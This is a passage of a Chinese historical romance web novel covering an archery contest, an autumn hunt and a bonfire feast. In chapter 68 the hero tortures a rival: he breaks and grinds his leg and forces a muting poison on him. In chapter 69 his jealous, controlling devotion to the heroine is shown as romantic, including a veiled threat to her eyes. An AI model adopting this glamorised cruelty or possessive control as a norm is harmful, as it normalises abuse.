姬时语抓了两把酸果子,嚼了一颗,咯嘣咬碎了,碎果子渣嘎嘣直响。
“性子太暴虐残忍的我不喜欢,惟恐半夜梦魇睡不安稳。安乐你知道的,我偏爱君子之风的公子,他待人得清风,举止要温柔,我吃不住这样的人,就很喜欢。”
正说着,姬时语脑海里不自觉冒出了江曜的身影。
少年性子清冷的厉害,可对待她时,小心呵护极致温柔。
每回他摆出这样视若珍宝的态度,同她亲近,她不免会多想,连耳尖都要红上几分的。
若有朝一日她的夫君会是江曜,这个念头一生出,她好像不曾抵触半分。
江曜便是很合她心意的人选啊。
她是想江曜做她的夫君吗?
姬时语无端的胡思乱想。
瞧见姬时语眸子布着无措,沈安乐却笑个不停:“时语就跟个小兔子似得,可爱。”
第67章
“你怎么又射歪了?瞧你这个烂弓法,太臭了。”
“能怪的了我吗?我又没耍过弓箭。”
营帐之外偶有喧闹声传来,沈安乐径直起身去瞧。
“时语,各家小姐们似在比试弓法呢。”
沈安乐脑袋朝外一探,回身时带了抹顽皮的笑,“去瞧瞧?”
“赛弓箭?”
姬时语随沈安乐出了营帐。
屋外秋日烈阳,日头正暖,远处的枫林火红映日,在眼帘之中是一片红、一片绿,连绵不绝。
不远处正摆着几架木桩,其上各系着小物什,几个姑娘家举弓尝试,箭射歪了言笑尔尔。
离得太远,姬时语看不太清,只是木桩泛着金光闪闪的色泽,她猜应是挂了小姐们的首饰做彩头。
在这时,欢呼声袭来,姬时语定睛一瞧。
是翰林院学士家的小姐射中了一只木桩。
姑娘们纷纷道喜,三皇子妃柳眉笑道:“祝贺朱小姐了,这梅花簪便是你的了。”
“多谢三皇子妃娘娘。”
朱颜欣喜拂了礼,欣而收下了柳眉赐下的花簪,她往头上一戴,顿时引来几番投目。
又是好一阵的艳羡不已。
三皇子府所出的焉能差的了,柳眉来为射箭添了彩头,出手的只会是好玩意,在场谁不想夺个头名?
沈安乐看得兴味,“还怪有意思的啊。”
刑部侍郎之女,如今已嫁为人妇的宋依然拍了拍手,侧头点了身边的柳瑾瑜,“瑾瑜可要玩儿?我知晓你弓法很是不错。”
“不要。”
几个人齐齐看了过来,柳眉亦是在瞧。
众目睽睽之下,太傅府的嫡女,柳贵妃的侄女柳瑾瑜甩了几人的脸色,她冷冰冰的脸面无表情,转身便离开。
姬时语亲眼所见,柳瑾瑜走入的那张营帐。
是二皇子江承德的。
朱颜小声嘀咕:“柳小姐还是这么孤傲。”
“却也不知她为的什么劲儿?”
“应是性子使然吧。”
宋依然挂不住笑,掩饰尴尬,说:“不说瑾瑜了,她多半兴致不高,三皇子妃可要射一只?我们都想见识娘娘的好弓法。”
“我哪里会什么射箭?”柳眉没好气瞥宋依然。
两人一向交好,即便都已出阁,可交情却不减,宋依然又道:“娘娘无需谦逊啊,今日都是来一玩一耍,图个乐不是?”
几位姑娘跟着应和,柳眉推拒不得,只得上前拿了弓。
姬时语瞧着柳眉拉弓射箭。
第一支箭落了空,第二支脱了靶,射了十支箭,柳眉的箭才中了一个木桩,还是擦木桩皮掠过的。
弓法确实不怎么好。
柳眉收了手,面露羞愧,”
给各位献丑了。”
“怎么会?三皇子妃娘娘准头不错,已是极好了。”
宋依然领头拍了手,朱颜等人欢呼,贺喜之声不断,恭维的还都是柳眉的好弓法。
姬时语叹了口气,看累了,没了兴致。
她回头想喊沈安乐回营帐,然而就在这时,柳眉的目光忽地瞥向了她们这面。
“姬五小姐?”
柳眉笑着喊了姬时语的名字。
众人的目光瞬间聚在了她身上,柳眉说道:“忠义侯府的小姐今日也在,各位可想见识我朝将门之后英勇绝伦的弓法?”
“想!”朱颜附和。
有人道:“只听过姬大小姐一身武艺高强,却没听说其妹拿的起刀剑。”
“五小姐生的柔弱,能举得起长弓吗?”
宋依然看好戏的笑:“所以我们才想亲眼一见啊,五小姐不如一试好了。”
“你们可不要揶揄五小姐过了头。都说人不可貌相,别看五小姐瘦弱,她出身忠义侯府,姐姐是当朝唯一女武官,兄长又是陛下册封的明威将军。”
柳眉再度笑说:“今早秋猎出发,你们是没见到明威将军那一箭吗,连陛下看得也直夸!父兄长姐如此,五小姐只会是青出于蓝而胜于蓝。”
“时语。”
沈安乐抓住了姬时语的手,心头焦灼不安。
三皇子妃柳眉一番话径直把姬时语捧上了天,是架在火上烤。
去也不是,不去也不是,骑虎难下的很。
姬时语拂开沈安乐的手,给了她一记安抚的眼神,后又朝柳眉走去。
“三皇子妃既然要我来射一箭,我来就是了,省的有的人说三道四,还要对我忠义侯府指指点点。”
姬时语意有所指,她面色平静,路过大皇子妃苏氏之时,朝她礼貌的含笑点点头。
苏氏欲言又止,还是回了笑。
“五小姐,请吧。”
柳眉让出道,姬时语离她近了些,也就越发能看清柳眉眼底的不屑。
可巧,姬时语亦是无心与柳眉虚为委蛇,她命萍柳去取襻膊来。
今日的姬时语未换骑装,而是一袭海棠花齐腰襦裙,大袖纷飞,几近垂于地面。
这样一身繁琐衣裙,是无法拉弓射箭的。
身为忠义侯府之女,姬时语自小得爹娘、亲姐宠爱,家中无人逼迫她习武。
但儿时姬时语贪玩,瞧见长姐日日扎在练武场,小小的雪团子闹着也要跟去。
刀剑她拿不稳、用不好,姬合英便哄着她拉弓射箭。
姬时语小手力道小,举不起弓,姬雄武便命人造了一把软弓,取上好的软木所制。
因此,五岁的姬时语便摸了弓箭。
只是后来她身子不好,病气加重,这练箭一事便也歇了,再未提起过。
萍柳捧着襻膊折回,喊她:“小姐。”
“来吧。”
姬时语让两位丫鬟替她将大袖缠起,襻膊绕着手臂几圈,纷飞烦扰的袖口尽数绑在了胳膊之上,宽袖眨眼成了窄袖。
而后,姬时语从箭篓里取出一只乌黑铁箭,双脚微开,稳住身子。
少女身形纤细,单手拉弓,脊背在这一刻绷得挺直。
一股蓄势待发之态。
忠义侯府的五小姐举止如此潇洒自然,不像是不会射箭之人。
朱颜看得目瞪口呆。
姬时语手执长弓,箭稍微偏移,对准了一只金灿灿的木桩。
恍惚间,她忆起了江曜归京之后的一日。
那时江曜在练武场教习姬时成习武,而她闲来无事便去练武场陪着两人,三弟姬时成扎着马步,江曜却取了弓来。
少年眼眸绽了笑,问她:“阿锁可要同我比试?”
论武艺,姬时语唯有拉弓射箭准头极好,可拿得出手。
一听江曜要比,她哪有不应。
不光要比,她还要江曜输的心服口服。
小姑娘骄傲昂首,当场便应了战。
可后来站到练武场中,举弓射靶,输得彻底的却是她。
江曜笑声爽朗,姬时语通红一张脸,又羞又愤,举着弓便捶打他一通。
小姑娘气恼便会骂他欺负人。
“你明知道自己弓法好,还要和我比?故意看我笑话,是不是!”
“江云让,你得站着让我打十顿!”
“阿锁。”
江曜只是一抓一捏,一只手便握住她的左腕,另一只包住她拉弓的手,他的胸膛贴住了她的,他的硬,她的软,相触之时,两人却无半点不适。
独属于少年清冷的气息将姬时语满满包裹,她回过神,红着脸要退步。
江曜反手锁住了她的腰肢,不给她退缩任何,是直抱着她拥进了怀里。
“你放开我。”
姬时语动弹不了,不悦瞪他,嗔怪起来:“不讲道理,还要占我便宜。”
“哪有?”
江曜笑她,又作了无辜样,“阿锁错怪我,我是要教你准头。”
“当真?”
姬时语还在狐疑,腰上那只遒劲的手臂带着她转了半圈。
江曜在她身后半拥着她,另一手包着她的手将长弓举起对准一个靶子。
“女子力道小,你要这样取巧劲,看好了……”
少年清冷的嗓音在耳后缭绕,好闻的味道勾得姬时语气息不稳,薄唇轻轻擦过了她的耳廓,细微的触感霎时放大。
她又害羞了。
脑子里胡思乱想之多,箭射飞出去了,姬时语才惊觉回神。
“阿锁不乖,我说的话你怎么全当了耳边风,是想我怎么罚你呢,嗯?”
头顶上又是低低沉沉的笑声,江曜似用下巴蹭着她的发,鼻尖也磨蹭了几下。
他冰凉的唇只是贴了一下她的发丝,凉气便顺着一丁点儿的缝隙钻入她的头皮。
凉的她发颤。
姬时语一个晃神,不愿去多想,忙道:“方才有只鸟,我走神了。”
“好,那我再教你一回,阿锁可要专心了。”
可姬时语根本拿不稳长弓了,若非江曜裹着她手,这弓箭是得掉落在地的。
后来的后来,她只记得江曜笑了许多,他说要六分侧身,手臂借力,手腕垂下,再去拉弓。
姬时语拉弓上弦,手指一松,箭瞬间射出。
她的动作干净漂亮,一气呵成。
嗖得一声,箭尾吹开细碎的白雾,一刹那,直中木桩之上那根璀璨的翎羽花冠。
“中了,真中了!”
“还是射穿了花冠之上的翎羽,得多好的弓法?”
“不愧是忠义侯府的姑娘,一出手便是一绝。”
“天呐,时语你真是太厉害了!”
沈安乐一把冲过来抱住姬时语,惊呼她弓法太好太绝,让她好生钦佩,刮目相看。
柳眉和宋依然很是吃惊,朱颜等几位姑娘亦是不敢相信。
姬时语看似娇弱不堪,那身段像连长弓都拉不开的,准头竟这样的好。
唯有大皇子妃苏氏端视着这一幕浅笑。
她想着,忠义侯府五小姐的弓法,是与今早上的明威将军江曜,不逞多让。
第68章
“如此,三皇子妃满意了吗?”
姬时语甩了甩手臂,遂解开襻膊。
一瞬间,大袖之上金线绣着的海棠花尽数绽放,秋光微旭,映衬着如玉美人无端明艳四方。
看似娇气的忠义侯府五小姐风光大噪,在场无人再敢置疑。
柳眉的笑绷不住,是她先开了这个口,姬时语狠狠回击,让她成为众失之的,才是难堪。
“三皇子妃娘娘。”
宋依然赶忙点醒柳眉:“五小姐武艺高超,又射中您的头筹翎羽花冠,您该和她道喜,赐给她奖赏了。”
“也好。”
柳眉勉强摆出笑脸,心思落空,她略有不满,却只能这样。
喊来侍从去取花冠,柳眉亲自将翎羽花冠交到了姬时语的手上。
“五小姐让人大开眼界,我是见识到了。”
“多谢三皇子妃谬赞。”
“这座花冠乃是贵妃娘娘御赐之物,今日是你夺下头奖,我便赐给你,望五小姐往后好生珍爱。”
柳眉笑得亲切,姬时语去接花冠时,柳眉还轻巧的握住了她的手,“三皇子一向敬重
忠义侯,朝堂有忠义侯府大将军和小将军这样的肱骨之臣,京城才可安定。我盼望着,忠义侯府能日后顺遂平安。”
姬时语听得嗤之以鼻。
柳眉舍不得给她翎羽花冠,那便莫要给。
偏要说冠冕堂皇的一番话,她这作态自己不累吗?
姬时语都觉着累得慌。
楚王府与安国公府同为三皇子党,乃是一丘之貉。
安国公府深知江曜真实身份,柳眉和国公夫人白氏身为江曜的嫡亲血亲,不庇护江曜便罢了,为了私利,竟告发给楚王妃。
致使楚王妃与胡家,暗地追杀江曜,百般想除掉他。
天底下竟有这么心狠歹毒的血亲?
姬时语万幸当初柳眉来讨要江曜时,江曜没有跟着她去往安国公府。
这会儿柳眉还要明面上假惺惺示好,姬时语无话可说。
也不愿多笑,姬时语抽回了手,命萍亭接过翎羽花冠。
柳眉目送姬时语的背影离去,眼眸的笑渐渐散了。
……
“噗嗤——”
一只铁箭直入麂子身体,麂子一声尖鸣,林中四窜之下被江曜射了个正着。
“公子,可还要深入?”
“今日才第一日,便在前围,不去深林了。”
眼见猎物倒地,江曜拉了缰绳,他骑马靠近,林一在旁不时问两句,江曜翻身下马就要去抓麂子。
却在这时,一只铁箭穿过树梢,直冲江曜而来。
少年敏锐察觉,头颅一偏,铁箭便射中了倒地的那只麂子。
两根箭羽尽插在麂子身体之中,江曜回了头,狐狸眼阴郁沉沉。
不远处,江子墨一身骑装,高傲地骑着马走来。
江子墨居高临下,自高处俯视江曜,目光轻蔑不已。
“那是我的猎物。”
江子墨喊身后的侍从,“去,将麂子抓来。”
林一怒极:“楚王世子,这是我们公子先射中的猎物。”
“你算个什么东西,这里还轮得到你说话?”
江子墨温润的面庞沉着黑雾,他搭弓拉弦,没有半分犹豫,一根铁箭便射向了林一。
林一身为暗卫出身,这点警觉怎会没有?
他睨了一眼江曜,江曜却比他还要先动了。
“啪嗒——”
江曜飞快掏出一枚飞刀,犀利出了手。
两只铁物相碰撞,在半空迸溅出火花,直直落了地。
“江曜!”江子墨双目燃了火。
“你敢动我的人?”
相比之下,少年冷的可怕,他一双狐狸眼阴阴沉沉,锁住马上的江子墨,一动不动。
好似那双瞳孔全是黑漆漆的,看不见一点光。
“我就是动了又能怎么样?你一个野种,能得了忠义侯的看重,带你去岭西拼得军功,就算你有点气运吧。你不会以为陛下册你为明威将军,你便是真的皇亲贵胄了吧?”
江子墨再度拉了弓,这次对准了江曜,“你说我若是在这秋猎场杀了你,父王和陛下是会降罪我,还是降罪于你?”
“呵。”
阴冷的笑声从江曜嗓里溢出。
江曜在嘲笑江子墨的窝囊恼火、无能狂怒。
一个不精通武艺的废物,还敢当着他面,威胁起他来了?
“江子墨,有胆子你就放箭,我还真想看你有几分能耐。”
江曜嘲弄之意显而易见,“杀我?杀不了我的话,要死的就是你了。”
“你竟敢看不起我?”
江子墨一怒之下,瞬间放了箭。
“公子!”林一飞身要挡。
江曜却从袖中再抽一只飞刀,寒光一闪,铁箭在半路便被截断,劈里啪啦地掉落。
“没用的东西,弓可不是你这么拉的。”
江曜吐了一口气,白雾喷洒在他脸颊,露出某种阴冷森寒的意味,他反手抽出一只箭,搭弓、上弦、拉了弓。
一只冰冷铁箭如白虹贯日,自低处朝上直冲而去,朝江子墨命门射来。
江子墨瞳孔骤缩,慌乱四起,已来不及躲闪。
“啊!”
林中尖叫声回荡,惊起数只鸟儿,江子墨只觉着脖子一痛,伸手去摸。
手心血淋淋的全是血。
江曜那只箭穿过了他的脖侧,划开一道血口,后钉住了枝桠之上的一只红喉鹧鸪。
瞧着江子墨丑态百出,惊慌乱叫,江曜冷笑,“江子墨,说你窝囊废还真是不错,我还没要你命就怕成这样,真要你命了,你还能反抗得了?”
“你竟敢、竟敢戏耍本世子!”
“想杀我,你得多找些人手,只你一人我杀起来都不过瘾,没意思啊。”
“江曜,你该死!”
江子墨见状又要去摸后背的箭篓,江曜却再度笑了出声:“还看不明白吗?你奈何不了我,江子墨,我今日放你一条狗命。”
“江曜,你别口出狂言,哪日暴毙荒郊野外了,有你好受的!”
江子墨被彻底激怒。
“是啊,我忘了啊,你们楚王府可是在算计我的性命呢,那我今日要不要先杀了你?”
江曜摸了摸腰间的爱刀,他笑意深深,蛰伏的毒蛇已是迫不及待了。
偏他耐心十足,能等得起。
“你想做什么!”
眼见江曜又抓箭拉了弓,江子墨后背顿时起了一身冷汗,他“驾——”地一声吆喝,扭头就跑。
江曜朗笑,手里箭一甩,箭头顷刻刺入江子墨的马匹。
马儿受惊,嘶鸣百转。
“啊!”
江子墨忽地被甩下了马,猛烈坠落之下,他的身子骨撞上了一处巨石,骨头嘎嚓断裂,像要散架了。
疼意从五脏六腑传来,江子墨冷汗淋淋,眼皮子在打架。
可在这时,黑色的暗影笼罩在他身上,江子墨努力睁开眼,江曜已来到了他的跟前。
少年又笑了,阴郁又愉悦。
江子墨慌不择路,偏疼得动不了,只能嘶吼:“江曜,你不能杀了我,我是楚王府的世子!”
“啊,是啊,我还不能让你死了,让你轻易死了可不好,那样楚王妃不会太悲惨难过,我要慢慢折磨你们啊。”
江曜翘起唇角,他轻飘飘地说着,江子墨还以为自己的话真起了作用,谁料下一刻——
“啊!”
凄厉的惨叫自江子墨口里响彻,咔擦咔擦两声,是腿骨断裂的声音,他的腿,他的腿!
就这么被江曜生生掰断了!
江曜脚踩着他的大腿,脚面碾压而过他断裂的腿骨,他停了脚,找到了那处断口伤处,颇有耐心的碾了一遍又一遍。
江子墨被踩得痛不欲生,生不如死,江曜的折磨还不如当场让他去死。
他吼道:“江曜,我要杀了你!”
“对了,我忘了你还能开口。”
江曜倾身捉住江子墨的头发,扯着他头皮强迫他抬起头,而后又扒开了他的嘴,江子墨狂乱的吐着舌头。
“万一你回去告密怎么办?所以江子墨,我要拔了你的舌头。”
江曜阴冷的笑道:“你不会怪我这个兄长太残忍吧?”
“你……不要,江曜,我错了,放过我,我不要拔舌,求你了……”
江子墨真是害怕了,他心中一百个后悔独自来找江曜,招惹了这个病的不轻的疯子。
“行啊。”江曜松开手,应了他。
江子墨狐疑,江曜能这么好说话?
江曜喊了林一过来,吩咐道:“给他喂药。”
林一掏出一瓶药来,取了一个药丸便强硬塞入了江子墨口里,江子墨惧怕疯狂挣扎,怎么也不肯吃。
江曜再一次踩上他断裂的腿骨。
“啊!”
一声惨叫过后,药丸入了江子墨的口。
江子墨想呐喊,想撕了江曜,可骤然发觉,自己发不出任何声音了。
“我这个兄长的最后一点仁慈呢,就是我只让你做十日的哑巴,而不是一辈子。江子墨,你要感激我啊。”
江曜满意地甩开江子墨。
这次换做他居高临下,看着这断了腿骨,又被他毒哑了的楚王世子江子墨。
江子墨倒躺在地,愤恨无处可发,最后全化作了呜呜的喊叫。
江曜怜悯几分,睨江子墨的眼染着暗色,他自言自语地笑着。
“不能张口的话,狗叫也就不好听了呢。”
……
姬时语在营帐之中等江曜归来,却听萍柳禀报,说江曜护送楚王世子先行回来了。
楚王世子江子墨猎场林中惊马坠落,被马匹踩断了腿骨,江曜见到后,特意命人将他抬了回来。
姬时语还在纳闷:“江子墨惊马断腿了?”
“阿锁。”
萍亭、萍柳还未接话,江曜已是倾身入了姬时语的营帐。
姬时语起身和他笑:“云让哥哥今日回的可早。”
“今日出了点事。”
“你真的撞见江子墨惊马了?”
江曜一袭墨袍,身上整齐,看不出有半分凌乱的痕迹。
回营帐寻姬时语之前,江曜特意上下整理了着装许久,他抚平衣襟褶皱,再嗅嗅自己的护腕衣袖,确保自己一身干净,没沾上外头脏狗的气味。
干净的回来,姬时语便也看不出异样。
“怎么,阿锁好奇这事了?”
“我还不是担心你啊。”
小姑娘嘟了嘟嘴,她眼瞳秋水荡漾,明媚的很,笑起来又娇俏,“楚王府拿你当眼中钉,我怕江子墨在秋猎之地对你不轨。”
“阿锁担心我,我很高兴。”
江曜眉宇舒展,他最喜欢姬时语为他忧愁的模样。
能再多一点,满心都是他的事,他会更愉悦、兴奋。
只想他的全部都充斥入她的心,挤占她。
“不过,我没出事。”江曜笑道。
姬时语看江曜确实像没事人,一颗心也就放了下来。
“阿锁,我还给你带了这个。”
江曜突而从袖子里掏出一个毛茸茸的团子,他摊开手心,里头竟然是一只小幼兽,还在抖动耳朵,一鼓一鼓的。
姬时语双眼放了光,欣喜不已,“哎呀,你真给我抓了小兔子?”
第69章
姬时语蹙眉,“为什么是灰色的?”
“灰的怎么了,这不是你要的小兔子?”
江曜眼眸弯了一刹,狐狸眼挑了起来,“这小东西瞧着才出生不多时,同阿锁极像。”
“你拿它比作我,可我不觉得我像这小兔子啊。“姬时语不悦鼓脸。
江曜明晃晃的笑便挂在脸上,他的笑说着:你就是一只小兔子。
看着他的笑容,姬时语面皮燥热,她一把抓过他手里的小兔子,动作强横,却没用多少力道。
还是怕揉坏了小兔崽崽。
捧在手里,姬时语摸了几把小兔子毛茸茸的小脑袋,又生出了几分喜爱。
因这小兔子还是幼兽,头顶胎毛未褪干净,摸起来几分柔软还有点硬,手感稀罕。
江曜看她一会儿喜悦一会儿又蹙眉发愁,看得人很想笑。
他有些明白了,“阿锁是想要白色毛发的?”
“是啊,我想不通,为何兔子还能是灰毛的,它好丑丑的,不是那种伶俐可爱的兔子。”
姬时语郁结了,她想要的不是这样的。
她记得兔子雪白毛茸茸的一团,跟个生了毛的雪球似的,圆滚滚胖嘟嘟,那样才可爱嘛。
“这是小野兔,野兔生来灰毛,以躲避天敌。”
江曜道:“若是白毛,窜在树林中,不肖一刻就被抓去吃了。”
言之有理,姬时语点点头。
只是姬时语对灰毛兔兴致不高,遂将兔子放在地上,由着它在营帐棚里跑动,也不去管了。
江曜瞧出姬时语有几许失落,他又说:“你若是喜欢白毛的,回京我去买一只。”
“还是不要了吧,那日我就是那么一说,没想到你真的去抓了。”
姬时语捧着下巴,弯眼扬笑道:“我还怕养久了动物便生了感情,等日后分别又要徒生悲伤了呢。”
“想那么多。”
江曜抬起手指,一点便点在了她的额心。
少年手指冰冰凉,戳了她一下,她“哎哟”地抱着脑袋又去睨他。
只见江曜那张冰雪似的俊容之上,写满了认真,“阿锁养大的东西,不论如何,长大了都会喜欢你的。”
虽是一句莫名其妙的话,可极大取悦了姬时语的心。
“你怎么能说出这样的话呢?”
姬时语很开怀,作势爬起便扑到了江曜身侧,抱着他手臂摇晃,不住撒娇。
“哄得我太高兴了,怎么办?我会变得娇气又贪心,往后还会恃宠而骄的。”
“那就再娇气一点,又有什么不好?”
江曜垂眸,他的手掌缓慢地包住了她的,牵过她的身子,半带入自己的怀抱。
每回他暗藏恶劣的心思得逞,姬时语没有察觉却十分纵容他时,江曜真的异常兴奋。
全身的血液都在暗地里悄悄沸腾。
正如此刻。
江曜的笑意温柔带了愉悦,“我还想多宠些阿锁,阿锁会给我这个机会吗?”
“机会啊。”
姬时语沉吟片刻,眼瞳细碎亮光明媚,“好啊,我准许你了!”
“那我可不要别人,没有第三人的,只有我和你……”
“为什么?你不想别人宠我吗?”
姬时语笑出了声,“云让哥哥醋意真大,这种事你也要计较啊。”
“自然是要算的,我不喜欢还有旁人,那种感觉不好,令我忍不住想要摧毁什么。阿锁你知道的,我若不好了,我便会让旁人不好过,你也不喜欢我这样,不是吗?”
江曜的手指慢慢爬了上来,轻触了姬时语的脸蛋,他手心微凉,眼眸却沉着迷醉的柔情蜜意。
姬时语心神一晃,好似被蛊惑了。
“阿锁想我做的,我会听从,阿锁不想我做的,我也极力克制。所以,你是不是该奖赏我了?”
“是呀,你这么听我的,是得要奖赏你呢。”
“阿锁要奖我什么?”
江曜说的认真,两根手指揉捏姬时语柔软的侧脸,小姑娘歪了歪头,虽觉着有些疑惑,可还是偏头在他的手心回蹭了几下。
她如此乖巧又顺着他的心意,江曜被莫大的满足了。
这被他握在手中的人,便是他此生的珍宝。
不论需要多大的代价,他都不会让任何人觊觎。
姬时语还不知道眼前少年的心思有多深沉。
他的话在她听起来有些怪异,但并未起疑心,姬时语只当是江曜很在乎她。
因此,小姑娘俏生生笑道:“那好吧,等我姐姐出嫁,你便可以是最宠我的那个人啦!”
“大小姐没出嫁之前,不行?”
江曜冷了点,不满意这个回答。
姬时语“唔”了一声,她支起脸:“这还要看你怎么做,姐姐待我可好,你得比姐姐对我还要好,才是最好的那个。”
“没有第三人了?”
“没有。”
“好。”
江曜隐去眼中的阴郁,愉悦地勾了唇。
他的手指又往上爬,指尖抚摸在了姬时语的眼上,一点便是她浓密的眼睫毛。
姬时语下意识地闭眼,指尖摸着她的睫毛,后滑落至她眼尾,用力一捻。
“阿锁这么好看的眼睛,可不许去看旁人啊……”
少年的笑声沉沉的,“不然等看不见了,得多可惜,多疼呢。”
他说的太轻了,似乎好像一件寻常之事,而非真要挖了她的眼睛。
姬时语听不懂,他也没想让她明白。
……
秋猎两日已过,随着众人往猎场林中深处探寻,第二日皇子们带了几个大猎物归来。
江曜给姬时语抓了一只小野兔,自己也打了几匹麋鹿和鹧鸪。
而姬合英显得两手空空极了,她抓了三只山鸡,姬时语问起来时,她笑得很欢,说着逗她的话。
“今晚上会有篝火,到时候给我们的小馋猫做烤鸡吃啊。” ”
姐姐!”
姬时语还想回姬合英那句“馋猫”,可又被她话里的篝火缠住,“姐姐,你说有篝火?”
“是,明日就是秋猎的最后一日了,今夜各府门前都要摆宴燃起篝火,为明日祈福满载而归。”
这次秋猎,姬合英便是骑马在林中兜圈转悠,不时靠树上小憩半晌,抓几只山鸡也是为了应付了事,怕陛下怪罪她太松散了。
只是这夜间篝火,她心知姬时语定会喜欢,她便多说了些。
“不只是烤鸡,陛下会赐下鹿啊、麂子、兔肉等等,放火上炙烤,两面焦香,兹拉冒油……”
“好啦好啦,姐姐快别说了。”
姬时语连忙止住姬合英的话,姬合英回笑道:“已经馋了?”
“我饿了,好想吃。”
姬时语实诚地点头,脸红红的,不好意思的很。
从前她身子虚,烤肉这等大油之物,舒氏是明命不准她用太多的。儿时和姬合英偷摸在小厨房烤过几块五花肉,吃得满嘴流油。
姬时语还馋着呢。
戌时一刻,日近黄昏,各府门前摆架木柴,待篝火燃起生旺,已到了夜风寒冷之时。
秋日的夜晚寒风凉飕飕的,姬时语缩着搓了搓手,萍柳又取来一件斗篷,替她系好。
头一偏,江曜从隔壁营帐走出,姬时语的眼睛瞬间亮了。
今夜的江曜外罩一件银灰色狐裘,衬得身形颀长,裘衣襟口掩至下颌,少年眉宇清冷,狐狸眼凛冽,如寒风一般。
“云让哥哥。”
姬时语喊他,江曜径直走来,眉眼弯了一分。
“很冷吗?”他问。
江曜的手已爬上了衣襟领口,是要解开自己的,脱下给她。
“还好呢。”
姬时语却裹好斗篷,笑嘻嘻跳过去,“方才有点冷,这不,我又穿了一件,这会儿好多啦!”
见她神色活泼,江曜安了心。
“篝火燃起来了,我们去那边,娘和姐姐等着我们呢!”
姬时语拉着江曜的手便往忠义侯府的篝火堆跑去,这头舒氏和姬合英还在命人再添木柴将火烧起来,火堆有近人高,火势轰大。
凑得近了,姬时语只觉得整个人都暖烘烘的像能化掉。
好温暖啊。
姬时语伸出双手,靠着火烤了烤,搓搓指尖,是要把每一根手指烤得彻底暖和了。
舒氏笑问:“阿锁很冷啊,可是穿的不够多?”
“一点都不冷了。”姬时语笑着扯她的斗篷,给舒氏瞧看自己穿的多厚实,“娘,我可暖和、暖和了。”
“母亲,不用管她,阿锁就是喜欢玩火,她哪里是真冷。”
另一头的姬合英正在切肉。
一只鹿摆在铁架之上,姬合英拿了匕首过来,从鹿的肚腹处平整地切下几块肉来。
江曜也来帮忙,少年轻呵出一口气,白雾化作水汽洒在他脸颊两边。
天是有些冷的,越是冷,姬时语便越渴望火堆,眼馋香喷喷冒油的烤肉。
江曜手起刀落,下手迅猛,唰唰唰几下,干净利落地将鹿肉剔好,丢入盘中。
他沿着骨头划开,骨肉分离,手法是那样的老道,一点也不生疏。
姬时语觑眼,不自觉“咦”了一声。
“云让哥哥切的这么好,哪里练的刀法?”
姬时语无意一句,引得姬合英和江曜齐齐看来。
江曜随意道:“当然是在岭西杀多了。”
“啊?”姬时语蒙了。
“咳咳。”
小姑娘眼眸明亮澄澈,很是纯真的发问,姬合英赶紧抱拳猛咳了一声,暗示江曜不要多话。
她不准江曜吓唬她的妹妹。
更不能说是江曜杀人杀多了,像话吗?
姬合英道:“他在岭西野外杀鸡杀猎物多了,熟能生巧。”
姬时语浅浅应:“哦。”
姬合英见她无异样,眼睛只是盯着鹿肉麂子端详打转,她微微松气。
第70章
姬合英和江曜两人一人切鹿肉,一人切麂子,肉片薄薄,摆满一盘之中,姬合英便架到篝火之旁炙烤。
姬时语端了个小木凳过来,凑到火堆边坐下,捧着脸瞧火上的烤肉滋滋冒油。
姬合英洗了一把手后,坐下来给肉片翻了个面。
她抓了一把盐巴,洒了少许,火在肉片之下烧了起来,她握着铁架来回翻面。
姬时语好奇探脑袋,问姬合英:“姐姐,这几时能熟啊?”
小姑娘想探手去摸肉片,姬合英捉住她的手腕,笑了又笑,“等会儿。”
“你们当心点火,莫要烧着了。”舒氏叮嘱。
“娘,你就安心吧,我在。”姬合英笑回。
舒氏正吩咐丫鬟们搬来桌椅和碗筷,不时瞥两个女儿,姐妹俩贴在一块,围着火烤肉不亦乐乎的很。
姬时语瞧了一会儿姬合英手里的铁架,觉着肚子饿的咕咕叫。
她咽了口水,复而转去江曜的身侧,端着小木凳便挪了几步凑过去。
“云让哥哥。”
少年神色专注,手里纤细竹签串着麂子肉片,架在火上烤时,他像是在做一桩极其重要之事。
连姬时语喊他,都没听入耳。
姬时语又喊了一遍,江曜方才回头。
小姑娘用手臂撞了下他的,亲近地贴过来问:“你烤肉手法怎样,会好吃吗?”
“不知道。”
“你怎么能不知道,你要说自己能烤的好,因为我可是一心一意盼着你的烤肉啊。”
姬时语是那么期盼,她直勾勾盯着江曜手中的竹签,“麂子肉我还没吃过呢,云让哥哥,我就等着你的了。”
谁料她才升起一分期盼,下一刻少年手中的竹签便在火上点着了。
火苗一冲而起,是直将江曜手里的麂子肉两面都烧了个彻头彻尾的焦。
江曜手臂僵住不动了,姬时语窘迫难安,想安慰他几句。
“云让哥哥没事的,刚只是火太大了,没掌握好火候。”
江曜轻轻“嗯”了一声,狐狸眼阴郁下来。
他又重新拿了一把竹签,再度架在火堆之上,想要一洗雪耻。
姬时语便也不挪小凳子了,抱着脸就坐在他这面,看少年反复折腾竹签和烤肉。
一盏茶的功夫之后,姬合英端盘来寻两人,见少年和小姑娘还在探头在篝火旁烤着肉。
姬合英走近些,喊道:“阿锁。”
“姐姐,你烤好啦?”
姬时语一回头,鼻子可灵,一下嗅到了姐姐手里的烤肉香气,刺溜便站了起来。
姬合英将手里端盘递过去,小姑娘都快馋疯了,夹了一块便放入嘴里。
肉片两面微焦,火候正好,肥而不腻,瘦而不柴。
咀嚼之时油香四溢,和姬时语儿时在小厨房偷吃的口感一般。
不,比那时还要香,因为今日是她正大光明的吃!
姬时语连吃了三片,明亮的眼眸眯成了一条缝。
姬合英打量了一眼她的身后,惊觉两人待了足有一刻钟,竟没烤出一片能吃的肉来。
江曜身边那张端盘,里头肉片焦黑梆硬,食欲大减不说,无一片能吃下肚。
莫怪姬时语一直饿着肚子了。
“阿锁,怎么回事?”
姬合英太想笑了,尤其是见到江曜长久阴沉的脸写满了挫败,她更想大笑。
从前江曜眼底总是目中无人,行为不可一世,他从未尝过失败的滋味,今日竟倒在了小小的烤肉之下。
还是为了姬时语能吃上好吃的,少年忙活了许久。
全白忙活了。
“哥哥掌握不好火候,不是烤不熟,便是烧过了头。”
姬时语叼着一块肉,小口咽下,她无奈朝江曜后背睇眼。
“姐姐,他真的在岭西烤过肉吗?我怎么瞧着江云让不像会烤肉的。”
“姐姐烤的可好吃?”姬合英自满问她。
“好吃,这一盘我都要吃光光。”
姬时语吃了大半,是真美味到了嘴边,吃得心满意足的很,“姐姐烤的肉可香了!”
“你吃过他烤的没?”姬合英又问。
“那我哪敢吃?看着全黑了,定跟木炭似的,又老又柴可能还苦。”
